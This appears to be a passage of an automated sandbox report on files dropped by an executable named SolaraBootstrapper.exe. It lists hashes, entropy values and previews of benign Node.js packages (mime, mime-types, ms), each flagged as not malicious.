Entropy (8bit):	4.833123617199433
Encrypted:	false
SSDEEP:	48:OUVbVWbtSvNI4oSuNWHRI5xGvDOXTo0MG03:1lcpe78bGvDOXTo0MZ3
MD5:	12C5CD5CFA1D4F45AF207DB1715D4B70
SHA1:	192A69685A32F1CCC5DF8A54EA0F117C48BD87F1
SHA-256:	D03E37B915A050AF548D543F4E45FF5DE06EC767C19E745F18C431D9DC26B5BF
SHA-512:	9344C3DF2A8B5D3ABF4F1A7BE8A7A3B885445D1355B294C69F855185BC1556F179AB4E2D8657B5CCC558494A382DB37DF57DFABB83574604C22F8DE5F7233808
Malicious:	false
Preview:	{. "name": "mime-db",. "description": "Media Type Database",. "version": "1.52.0",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "Robert Kieffer <robert@broofa.com> (http://github.com/broofa)". ],. "license": "MIT",. "keywords": [. "mime",. "db",. "type",. "types",. "database",. "charset",. "charsets". ],. "repository": "jshttp/mime-db",. "devDependencies": {. "bluebird": "3.7.2",. "co": "4.6.0",. "cogent": "1.0.1",. "csv-parse": "4.16.3",. "eslint": "7.32.0",. "eslint-config-standard": "15.0.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.1.1",. "eslint-plugin-standard": "4.1.0",. "gnode": "0.1.2",. "media-typer": "1.1.0",. "mocha": "9.2.1",. "nyc": "15.1.0",. "raw-body": "2.5.0",. "stream-to-array": "2.3.0". },. "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8812
Entropy (8bit):	4.796740600515603
Encrypted:	false
SSDEEP:	48:bFCF1A9RZAlC/CPVaiMC7J18RtYD2Z5iFjZuoLC455CrQ+fQfAKC9vlhY3LTgxOA:M0PadLksYxafKu4sKL0MwXtA
MD5:	3B127A94F2041A03DE29B24E7B927E26
SHA1:	7067CD942E355ECCDC41698AC10C282286F7631F
SHA-256:	277B1CFC3E8FDB57E8B3FC9EBDEF37D108AC13572B60091CCCAF0E863167ADC0
SHA-512:	B93983757D131D5F583F14F320FD7958FEEF3E44C3466D340E5D96B04D4A6BE8123FDD0CCA035CED36D501C18A1EC5D15195643454F41CA4E011743C92F4ED84
Malicious:	false
Preview:	2.1.35 / 2022-03-12.===================.. * deps: mime-db@1.52.0. - Add extensions from IANA for more `image/` types. - Add extension `.asc` to `application/pgp-keys`. - Add extensions to various XML types. - Add new upstream MIME types..2.1.34 / 2021-11-08.===================.. deps: mime-db@1.51.0. - Add new upstream MIME types..2.1.33 / 2021-10-01.===================.. * deps: mime-db@1.50.0. - Add deprecated iWorks mime types and extensions. - Add new upstream MIME types..2.1.32 / 2021-07-27.===================.. * deps: mime-db@1.49.0. - Add extension `.trig` to `application/trig`. - Add new upstream MIME types..2.1.31 / 2021-06-01.===================.. * deps: mime-db@1.48.0. - Add extension `.mvt` to `application/vnd.mapbox-vector-tile`. - Add new upstream MIME types..2.1.30 / 2021-04-02.===================.. * deps: mime-db@1.47.0. - Add extension `.amr` to `audio/amr`. - Remove ambigious extensions from IANA for `application/*+xm

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:voiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:voiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	BF1F9AD1E2E1D507AEF4883FFF7103DE
SHA1:	F027AF3E61AF3880FD7F7B8BA9452A85DD215738
SHA-256:	71F83C4C0621102A56D9853812777B85751BCE7E9726F686F5B056C1F8A4B0E6
SHA-512:	A1A293EB0097FE87875F3BF908CC0B0EE8F15E995C68E984B6A24E247B2E954407D7941EA96ABD7FE002A1BDFB713FDFB0D3839D948A334603F05E644829F606
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3481
Entropy (8bit):	5.0358475679922154
Encrypted:	false
SSDEEP:	48:KdC9vR5GpTfO6ezUuTdXMoNjhSBJzU2cWGi/FRJNKbkbAMG4GMGq1GqLRxzZf5Ja:eCEezUC15+zlzFRXK+BXLN1NFxZ2
MD5:	DF3AEB2C1CB5F39D454082EADD3F2A5F
SHA1:	E0593D2FBB7AF84598E75F65106685F8988A55D8
SHA-256:	19E8EACA7DC91F7AD8E46114CE1689E4976368435F41A0039F48AAF27E5E6A20
SHA-512:	93A470FC59AAA55177BD3FD2B067632BDC64A3254B359047CE8C278FEB15340EF552A6FCDD178FCD1026B161C693F4C84B426763A8881DCF02E74E1345C63940
Malicious:	false
Preview:	# mime-types..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..The ultimate javascript content-type utility...Similar to [the `mime@1.x` module](https://www.npmjs.com/package/mime), except:..- __No fallbacks.__ Instead of naively returning the first available type,. `mime-types` simply returns `false`, so do. `var type = mime.lookup('unrecognized') \|\| 'application/octet-stream'`..- No `new Mime()` business, so you could do `var lookup = require('mime-types').lookup`..- No `.define()` functionality.- Bug fixes for `.lookup(path)`..Otherwise, the API is compatible with `mime` 1.x...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3663
Entropy (8bit):	4.916300236559853
Encrypted:	false
SSDEEP:	96:whxEETkpRu3QqZti4/QyLS28/ldXDhDhsrG64ZyNUq2BRnY3g7Gxo:wh+0q4VLvITzhDhsS64oNUq2BRY3gYo
MD5:	BF015BB6811AFC5C98E3E5F7072FDC79
SHA1:	8D1F07AE6192C4DD6BC08A9247A91AF4A0A51ECA
SHA-256:	8CFCCAAC306BEB650D60C7F069AE0F4B39D648F1E3914696B18C133AB33E6419
SHA-512:	C2489DE379EFA61D68CEA7F1D4CE40593A48A86F62C8BE1DA099A4462DF0705C324CE2260B1998E9BDE494D2A8158C60D7517BE8448D27252379D675D99AE1BE
Malicious:	false
Preview:	/!. mime-types. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var db = require('mime-db').var extname = require('path').extname../. Module variables.. * @private. /..var EXTRACT_TYPE_REGEXP = /^\s([^;\s])(?:;\|\s\|$)/.var TEXT_TYPE_REGEXP = /^text\//i../. Module exports.. * @public. /..exports.charset = charset.exports.charsets = { lookup: charset }.exports.contentType = contentType.exports.extension = extension.exports.extensions = Object.create(null).exports.lookup = lookup.exports.types = Object.create(null)..// Populate the extensions/types maps.populateMaps(exports.extensions, exports.types)../. Get the default charset for a MIME type.. . @param {string} type. * @return {boolean\|string}. */..function charset (type) {. if (!type \|\| typeof type !== 'string') {. return false. }.. // TODO: use media-typer. var match = EXTRACT_TYPE_REGEXP.exec(ty

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1149
Entropy (8bit):	4.834567403731111
Encrypted:	false
SSDEEP:	24:VVi1MxVzHbeEbenpLYAYuNCHRIZBlWSKByLt:VgCVvvbeCAYuNCHRIzUScy5
MD5:	7AD9A6119E3173EA667F1409FEFBA992
SHA1:	EE2C9EAE301358BF7D646B5B7EDE6C28FED4BF96
SHA-256:	5053CC10259C3913AB6B6C8F13170A619C0D1836C1D9081238329A559FAFEB3A
SHA-512:	E6B5A339B07D126BA1CB1F5DF3BE7CA36C7DC25E3F05B4A4CACA096132528E05D55200B41AE3D332B4B8F0A40ECADFFD90902167D8DD012990D800E5B1492443
Malicious:	false
Preview:	{. "name": "mime-types",. "description": "The ultimate javascript content-type utility.",. "version": "2.1.35",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jeremiah Senkpiel <fishrock123@rocketmail.com> (https://searchbeam.jit.su)",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "keywords": [. "mime",. "types". ],. "repository": "jshttp/mime-types",. "dependencies": {. "mime-db": "1.52.0". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spe

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	9473
Entropy (8bit):	5.151977506431236
Encrypted:	false
SSDEEP:	192:E78+V+LIIkamc73hF6k2ANjeKTLSSN14AbCecNjWjW3itNdeFFbHuTueUvu6WmzI:E4+IbT9FPJcJhS
MD5:	90BAAC6A6F8D7E4A7DC0B15BB7A6CE65
SHA1:	FB1894068FF1A400DD64FD5E5B5006D7561D7534
SHA-256:	CB69AB3F4934B6970AABC64FDBCC37D8C53EE2E3010B00F37688CE017D212FF7
SHA-512:	EF65CBD677D92E9070973E7D26F52DD4F53C89A2EDAE2683BD1F2413AA37381F1F1DE84169CD3232E61E6DB725A3814CDF5BCE84632C58473D8A368739F734F9
Malicious:	false
Preview:	# Changelog..## v1.6.0 (24/11/2017).No changelog for this release...---..## v2.0.4 (24/11/2017).- [closed] Switch to mime-score module for resolving extension contention issues. [#182](https://github.com/broofa/node-mime/issues/182).- [closed] Update mime-db to 1.31.0 in v1.x branch [#181](https://github.com/broofa/node-mime/issues/181)..---..## v1.5.0 (22/11/2017).- [closed] need ES5 version ready in npm package [#179](https://github.com/broofa/node-mime/issues/179).- [closed] mime-db no trace of iWork - pages / numbers / etc. [#178](https://github.com/broofa/node-mime/issues/178).- [closed] How it works in brownser ? [#176](https://github.com/broofa/node-mime/issues/176).- [closed] Missing `./Mime` [#175](https://github.com/broofa/node-mime/issues/175).- [closed] Vulnerable Regular Expression [#167](https://github.com/broofa/node-mime/issues/167)..---..## v2.0.3 (25/09/2017).No changelog for this release...---..## v1.4.1 (25/09/2017).- [closed] Iss

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	5.1030320946441305
Encrypted:	false
SSDEEP:	24:b1zDrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:b1zDaJHlxE35QHOs5exm3ogF5n
MD5:	8E8EA2AD138CE468F8570A0EDBADEA65
SHA1:	2E84853FB5F2711901B6ECB4A0B8FE4D419348FD
SHA-256:	8F2658C03422C408B2B2CE4D151DECC3B1A6FD3D86E5CA9433777BCCDCDF75A2
SHA-512:	D1106F3BC64EFADDDD19B11D495F8755261097FED95AC046ED5721F14B453B92E6A191CC13AA10232E7A59DF6CFB744DBE9B854D8F0D25C49B50337F62B21985
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2010 Benjamin Thomas, Robert Kieffer..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARIS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2119
Entropy (8bit):	4.81814235364155
Encrypted:	false
SSDEEP:	48:4HdLngOwDLGvk+G5fhGajRenb7COHaWvm8fq+b8eGv8iHWeFl9k9:4kCofhKZhfqFe7Yl9k9
MD5:	72CFB57E293629E482629AF74F4A92FD
SHA1:	ED339E905C074B2391760EBB46D624BFBC1860FB
SHA-256:	3D645CF326552BE680B89152865A5648E0DDAE647FFA02A325980A1CDBD774A5
SHA-512:	D25E58AFD95288DDA1CC99A70ED7A1E82B2CCFD99EC951F026D2FB6074F59DEFC65060B105E085ED5D7E57F2C222F6FD8043932C3EC6E2B8D7B44F918F7B2403
Malicious:	false
Preview:	# mime..Comprehensive MIME type mapping API based on mime-db module...## Install..Install with [npm](http://github.com/isaacs/npm):.. npm install mime..## Contributing / Testing.. npm run test..## Command Line.. mime [path_string]..E.g... > mime scripts/jquery.js. application/javascript..## API - Queries..### mime.lookup(path).Get the mime type associated with a file, if no mime type is found `application/octet-stream` is returned. Performs a case-insensitive lookup using the extension in `path` (the substring after the last '/' or '.'). E.g...```js.var mime = require('mime');..mime.lookup('/path/to/file.txt'); // => 'text/plain'.mime.lookup('file.txt'); // => 'text/plain'.mime.lookup('.TXT'); // => 'text/plain'.mime.lookup('htm'); // => 'text/html'.```..### mime.default_type.Sets the mime type returned when `mime.lookup` fails to find the extension searched for. (Default is `application/octet-stream`.)

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\cli.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.846208246866977
Encrypted:	false
SSDEEP:	3:TKQWaHMPM2jEiOmQUUpuPw8oVaXt1RcxyTOlaWBLgXM6fm3:HWaH64VmQXuP1oo91Rcw6laWB33
MD5:	D028184965062EF86CDCFE246753EF27
SHA1:	4D5F01B12FE3FC18E06D871CE00D0264643200FA
SHA-256:	F8691B2F01B77334E33BB6898D69C80DC05B18E4BE66760C476331A388F9CD27
SHA-512:	7A878AA6D727C3A1494563E6CE4D9BDC53FABB512DF78FEE9EB5E761DE3CA9F2DD67ABB546F532C04DF52CBC848292CDCD93405CCD53F1080A54A26BFBB9D3D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/usr/bin/env node..var mime = require('./mime.js');.var file = process.argv[2];.var type = mime.lookup(file);..process.stdout.write(type + '\n');..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\mime.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2726
Entropy (8bit):	4.938495719166568
Encrypted:	false
SSDEEP:	48:NW2vpIdykPw//LTKAF1FzpLMuWATNzOfscy2GrlZGaNyDoZIrGv:bfk6LtHFBMuFJUy/XyDoZ+Gv
MD5:	2930E6CAAD95DFAD928D76FC1EB2E003
SHA1:	F3CCFF5BA27AF0B9D39CC5C2F228F5AE3E276D13
SHA-256:	A121A0B9E780E9AE349A26227A0D25C33EBAC2D52A85AAE5AFFA84BA0F53F16C
SHA-512:	64C54D3B09B0340F21F5FA359DACDC4DF5BB180CB5BDE6EFB4FC0106B50BB1F4D1301D20D79441D8A9861338F75C94ED3AF12DC44E3291A4EEB0886DC661D46A
Malicious:	false
Preview:	var path = require('path');.var fs = require('fs');..function Mime() {. // Map of extension -> mime type. this.types = Object.create(null);.. // Map of mime type -> extension. this.extensions = Object.create(null);.}../*. Define mimetype -> extension mappings. Each key is a mime-type that maps. * to an array of extensions associated with the type. The first extension is. * used as the default extension for the type.. . e.g. mime.define({'audio/ogg', ['oga', 'ogg', 'spx']});. . @param map (Object) type definitions. /.Mime.prototype.define = function (map) {. for (var type in map) {. var exts = map[type];. for (var i = 0; i < exts.length; i++) {. if (process.env.DEBUG_MIME && this.types[exts[i]]) {. console.warn((this._loading \|\| "define()").replace(/.\//, ''), 'changes "' + exts[i] + '" extension type from ' +. this.types[exts[i]] + ' to ' + type);. }.. this.types[exts[i]] = type;. }.. // Default extension is the first one we

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.564801621592961
Encrypted:	false
SSDEEP:	24:+RhWSZYq/d5ljbQxpJnH9Uw93CxV0Y4/CxKZdeMJfkR1f:+RsEYMb+nH9PxC96mONGjf
MD5:	624EF11F91E60B224942FF81B13D10C6
SHA1:	0779EA22AFE593A2EC0223D16E9CCB5D0E01E45F
SHA-256:	F6A871D6AB40D2F2945D626A4D75DA2FCE78A35737C0870A0A4DA9BEE43F9D4E
SHA-512:	74B2D8DBF9AD22E4857A37CA17082482AE2D90846DF3BD21D0C7525FB928899EEE5C89E6CBEDB609279B7A923FAE5E57BB97DDB807083AE72D0FDD4D0ACF1082
Malicious:	false
Preview:	{. "author": {. "name": "Robert Kieffer",. "url": "http://github.com/broofa",. "email": "robert@broofa.com". },. "bin": {. "mime": "cli.js". },. "engines": {. "node": ">=4". },. "contributors": [. {. "name": "Benjamin Thomas",. "url": "http://github.com/bentomas",. "email": "benjamin@benjaminthomas.org". }. ],. "description": "A comprehensive library for mime-type mapping",. "license": "MIT",. "dependencies": {},. "devDependencies": {. "github-release-notes": "0.13.1",. "mime-db": "1.31.0",. "mime-score": "1.1.0". },. "scripts": {. "prepare": "node src/build.js",. "changelog": "gren changelog --tags=all --generate --override",. "test": "node src/test.js". },. "keywords": [. "util",. "mime". ],. "main": "mime.js",. "name": "mime",. "repository": {. "url": "https://github.com/broofa/node-mime",. "type": "git". },. "version": "1.6.0".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\src\build.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	1351
Entropy (8bit):	4.969465816534509
Encrypted:	false
SSDEEP:	24:yuTGzvvmbkOldw6E54g55DSxOn/zadOZfoie1p37IwBpy+yVu0iE3:Wzv2kOldwT4iz/zdZfor1OEs+j0iE3
MD5:	DAF164E6D251C818B190DB781F845776
SHA1:	F37722B22AD17B428B8B4B97B5C09720B4E86A9D
SHA-256:	FACAA3974BFA27C832A629735077528B59CBC088FCFD2C22BBACBA152C76EF2A
SHA-512:	9B9623DDD74F1117DA49DFDCEFD0AC5321419E8B3BC8608F4C6F00C11C74F857F1AF0337E7B877B7F0BFC033B4B0A6E4714A7D566960AA26C90BD4389ECB8C95
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/usr/bin/env node..'use strict';..const fs = require('fs');.const path = require('path');.const mimeScore = require('mime-score');..let db = require('mime-db');.let chalk = require('chalk');..const STANDARD_FACET_SCORE = 900;..const byExtension = {};..// Clear out any conflict extensions in mime-db.for (let type in db) {. let entry = db[type];. entry.type = type;.. if (!entry.extensions) continue;.. entry.extensions.forEach(ext => {. if (ext in byExtension) {. const e0 = entry;. const e1 = byExtension[ext];. e0.pri = mimeScore(e0.type, e0.source);. e1.pri = mimeScore(e1.type, e1.source);.. let drop = e0.pri < e1.pri ? e0 : e1;. let keep = e0.pri >= e1.pri ? e0 : e1;. drop.extensions = drop.extensions.filter(e => e !== ext);.. console.log(`${ext}: Keeping ${chalk.green(keep.type)} (${keep.pri}), dropping ${chalk.red(drop.type)} (${drop.pri})`);. }. byExtension[ext] = entry;. });.}..function writeTypesFile(types, path) {. fs.writeF

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\src\test.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2334
Entropy (8bit):	4.840924462459669
Encrypted:	false
SSDEEP:	48:+1sMXGGYGGGcG1rNu6Lu0OYx+lzhMBdHU:+mMWR95KCq3FU
MD5:	E79C602593F0F279E1CB2D8D4A3CE3BF
SHA1:	86D3D2BCF162F3C198AD8315C803FA7F4B928F07
SHA-256:	516EFE52B18B29B36B9AC4ED1D679A497E0846B269A9CF101FB405FBCC8B402B
SHA-512:	635CB1DD9B6EEF04AC7956F186097777936B49E13F902B65ABFBDA7918C16CFDDE9550C3A037435D3AD8FDA9423FC9B9ADD2CC4CADC27EF7FF5BED255A22F081
Malicious:	false
Preview:	/*. Usage: node test.js. */..var mime = require('../mime');.var assert = require('assert');.var path = require('path');..//.// Test mime lookups.//..assert.equal('text/plain', mime.lookup('text.txt')); // normal file.assert.equal('text/plain', mime.lookup('TEXT.TXT')); // uppercase.assert.equal('text/plain', mime.lookup('dir/text.txt')); // dir + file.assert.equal('text/plain', mime.lookup('.text.txt')); // hidden file.assert.equal('text/plain', mime.lookup('.txt')); // nameless.assert.equal('text/plain', mime.lookup('txt')); // extension-only.assert.equal('text/plain', mime.lookup('/txt')); // extension-less ().assert.equal('text/plain', mime.lookup('\\txt')); // Windows, extension-less.assert.equal('application/octet-stream', mime.lookup('text.nope')); // unrecognized.assert.equal('fallback', mime.lookup('text.fallback', 'fallback')); // alternate default..//.// Test extensions.//..assert.equal('txt', mime.extension(mime.types.text));.ass

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\types.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31555
Entropy (8bit):	4.70326884307998
Encrypted:	false
SSDEEP:	384:gCqLMYcyVwqbEqM+/vGmvLDMWTktVpnKEXrxoEYlzKO7ELn9c51Fq3zMISyHV6Dx:4EqZGpKEXrxoEY8O7J51Fq3XH+9
MD5:	4AC089E4F393ED139CB2EE55726C66A5
SHA1:	CACCD2726F4694FA5A276F34A28C29E8FB073EF5
SHA-256:	A5391E434B1D3D1AD0FFD2C7D2227B4DC3CEAC7FC263D2EC1B93C20B9DAA41F9
SHA-512:	3CCDA52104CA63EA2666D668F784B8F74E258896CD45F24D2F83BD0D3D09D938C2FFEC926B1B3FD0A8C455139629E69671129DE0D0072BEDB8D1B6B3B2260E22
Malicious:	false
Preview:	{"application/andrew-inset":["ez"],"application/applixware":["aw"],"application/atom+xml":["atom"],"application/atomcat+xml":["atomcat"],"application/atomsvc+xml":["atomsvc"],"application/bdoc":["bdoc"],"application/ccxml+xml":["ccxml"],"application/cdmi-capability":["cdmia"],"application/cdmi-container":["cdmic"],"application/cdmi-domain":["cdmid"],"application/cdmi-object":["cdmio"],"application/cdmi-queue":["cdmiq"],"application/cu-seeme":["cu"],"application/dash+xml":["mpd"],"application/davmount+xml":["davmount"],"application/docbook+xml":["dbk"],"application/dssc+der":["dssc"],"application/dssc+xml":["xdssc"],"application/ecmascript":["ecma"],"application/emma+xml":["emma"],"application/epub+zip":["epub"],"application/exi":["exi"],"application/font-tdpfr":["pfr"],"application/font-woff":[],"application/font-woff2":[],"application/geo+json":["geojson"],"application/gml+xml":["gml"],"application/gpx+xml":["gpx"],"application/gxf":["gxf"],"application/gzip":["gz"],"application/hyper

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2764
Entropy (8bit):	4.722254619992073
Encrypted:	false
SSDEEP:	48:1I4pOT+6FLQFChYQlCrFWn5q4W55i8vBeH321aEEg1JPzC3yheCLy0C+ywC8jyGc:iNy6FLQU2SChWn5q4W55F0XeaEru3ylW
MD5:	AE157C9A8E70902576C2D8A06DBCDE32
SHA1:	0D10EE921436FA5FF5988445CC67676219DFFFBE
SHA-256:	4BD92209CB9DACF3E3773E725ACB7AAEC43EA9E78540324E4D0F73E5CE9ADEF7
SHA-512:	4C2F31F1F2A297AB6C55A21D58A5C26CAD22C1ED1913E7A48605111D217257AE2D9F26EA889E8610E011BA9B9C487C91ECDB4CEA3437534FAF905E8FB89BA248
Malicious:	false
Preview:	/*. Helpers.. /..var s = 1000;.var m = s 60;.var h = m * 60;.var d = h * 24;.var y = d * 365.25;../*. Parse or format the given `val`.. . Options:. . - `long` verbose formatting [false]. . @param {String\|Number} val. * @param {Object} [options]. * @throws {Error} throw an error if val is not a non-empty string or a number. * @return {String\|Number}. * @api public. /..module.exports = function(val, options) {. options = options \|\| {};. var type = typeof val;. if (type === 'string' && val.length > 0) {. return parse(val);. } else if (type === 'number' && isNaN(val) === false) {. return options.long ? fmtLong(val) : fmtShort(val);. }. throw new Error(. 'val is not a non-empty string or a valid number. val=' +. JSON.stringify(val). );.};../. Parse the given `str` and return milliseconds.. . @param {String} str. * @return {Number}. * @api private. */..function parse(str) {. str = String(str);. if (str.length > 100) {. return;. }. var ma

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\license.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.1041829250749355
Encrypted:	false
SSDEEP:	24:buyDrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bBDaJHlxE3dQHOs5exm3ogFh
MD5:	FD56FD5F1860961DFA92D313167C37A6
SHA1:	884E84EBFDDAFD93B5BB814DF076D2EBD1757BA8
SHA-256:	6652830C2607C722B66F1B57DE15877AB8FC5DCA406CC5B335AFEB365D0F32C1
SHA-512:	2BEC1EFB4DC59FA436C38A1B45B3DBD54A368460BCBBB3D9791B65275B5DC3C71A4C54BE458F4C74761DCCB8897EFAAB46DF5A407723DA5C48F3DB02D555D5B9
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2016 Zeit, Inc...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR I

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ms\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	704
Entropy (8bit):	4.420367267663251
Encrypted:	false
SSDEEP:	12:7t134gRJxQwK/GCjxVMzaFT1oNkQc5s5RBR74J3YqeCVCSWN:513pRXQwUJFT1ou1s1R76YfCISWN
MD5:	CBD55880A650B56C3D5ACDDBBDBEE9BC
